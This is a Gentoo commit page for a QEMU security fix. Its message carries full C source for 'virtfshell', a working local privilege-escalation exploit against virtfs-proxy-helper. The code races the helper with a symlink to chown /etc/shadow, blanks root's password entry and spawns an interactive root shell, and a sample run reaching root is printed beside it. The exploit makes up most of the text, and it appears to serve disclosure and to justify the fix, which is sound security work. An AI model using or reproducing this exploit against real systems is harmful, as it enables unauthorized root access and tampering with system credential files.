app-emulation/qemu: critical security fix
authorJason A. Donenfeld <zx2c4@gentoo.org>
Mon, 14 Dec 2015 10:31:21 +0000 (11:31 +0100)
committerJason A. Donenfeld <zx2c4@gentoo.org>
Mon, 14 Dec 2015 11:12:01 +0000 (12:12 +0100)
commit183dd7394703b49c7af441a9c4227b4b91453510
treef516f4181292edc5a412c3861572f87deaec6327
parentb9fb83709e5e20ac6e90234ecb116a02d307081b
app-emulation/qemu: critical security fix

The virtfs-proxy-helper program is not a safe binary to give caps.
The following exploit code demonstrates the vulnerability:

~=~=~=~= snip ~=~=~=~=

/* == virtfshell ==
 *
 * Some distributions make virtfs-proxy-helper from QEMU either SUID or
 * give it CAP_CHOWN fs capabilities. This is a terrible idea. While
 * virtfs-proxy-helper makes some sort of flimsy check to make sure
 * its socket path doesn't already exist, it is vulnerable to TOCTOU.
 *
 * This should spawn a root shell eventually on vulnerable systems.
 *
 * - zx2c4
 * 2015-12-12
 *
 *
 * zx2c4@thinkpad ~ $ lsb_release -i
 * Distributor ID: Gentoo
 * zx2c4@thinkpad ~ $ ./virtfshell
 * == Virtfshell - by zx2c4 ==
 * [+] Beginning race loop
 * [+] Chown'd /etc/shadow, elevating to root
 * [+] Cleaning up
 * [+] Spawning root shell
 * thinkpad zx2c4 # whoami
 * root
 *
 */

 #include <stdio.h>
 #include <sys/wait.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/inotify.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <signal.h>

static int it_worked(void)
{
struct stat sbuf = { 0 };
stat("/etc/shadow", &sbuf);
return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
}

int main(int argc, char **argv)
{
int fd;
pid_t pid;
char uid[12], gid[12];

sprintf(uid, "%d", getuid());
sprintf(gid, "%d", getgid());

printf("== Virtfshell - by zx2c4 ==\n");

printf("[+] Beginning race loop\n");

while (!it_worked()) {
fd = inotify_init();
unlink("/tmp/virtfshell/sock");
mkdir("/tmp/virtfshell", 0777);
inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
pid = fork();
if (!pid) {
close(0);
close(1);
close(2);
execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL);
_exit(1);
}
read(fd, 0, 0);
unlink("/tmp/virtfshell/sock");
symlink("/etc/shadow", "/tmp/virtfshell/sock");
close(fd);
kill(pid, SIGKILL);
wait(NULL);
}

printf("[+] Chown'd /etc/shadow, elevating to root\n");

system( "cp /etc/shadow /tmp/original_shadow;"
"sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;"
"cat /tmp/modified_shadow > /etc/shadow;"
"su -c '"
" echo [+] Cleaning up;"
" cat /tmp/original_shadow > /etc/shadow;"
" chown root:root /etc/shadow;"
" rm /tmp/modified_shadow /tmp/original_shadow;"
" echo [+] Spawning root shell;"
" exec /bin/bash -i"
"'");
return 0;
}
app-emulation/qemu/qemu-2.3.0-r7.ebuild [new file with mode: 0644]
app-emulation/qemu/qemu-2.3.1-r1.ebuild [new file with mode: 0644]
app-emulation/qemu/qemu-2.4.0-r2.ebuild [new file with mode: 0644]
app-emulation/qemu/qemu-2.4.0.1-r2.ebuild [new file with mode: 0644]